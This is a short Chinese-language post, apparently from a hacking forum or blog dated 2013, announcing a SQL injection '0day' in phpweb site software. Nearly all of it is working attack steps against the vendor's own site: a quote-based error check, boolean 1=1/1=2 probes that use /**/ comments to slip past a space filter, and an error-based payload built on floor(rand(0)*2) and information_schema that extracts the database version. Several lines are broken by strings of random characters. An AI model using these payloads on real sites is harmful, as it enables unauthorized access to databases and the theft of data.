phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

主站：http://phpweb.net/
2 M" I4 m/ S+ r( v) b6 f加’检测：

http://www.phpweb.net/down/html/?772′.html
0 U  p) k/ r9 _. V; V5 A4 ?# H8 `
, O, O7 U$ W! k) o* x8 U1 x出错
7 J! m( o' p; R; y) [) r存在注入。
; H1 A2 A6 y. w, m# G不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

) h: o4 S4 j1 J1 P- \9 I" K- whttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
( b$ x/ ]* R( J5 z9 F* w爆数据库版本：

?
* s  D7 x% `4 h$ @; h1 C; E/ p4 _1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50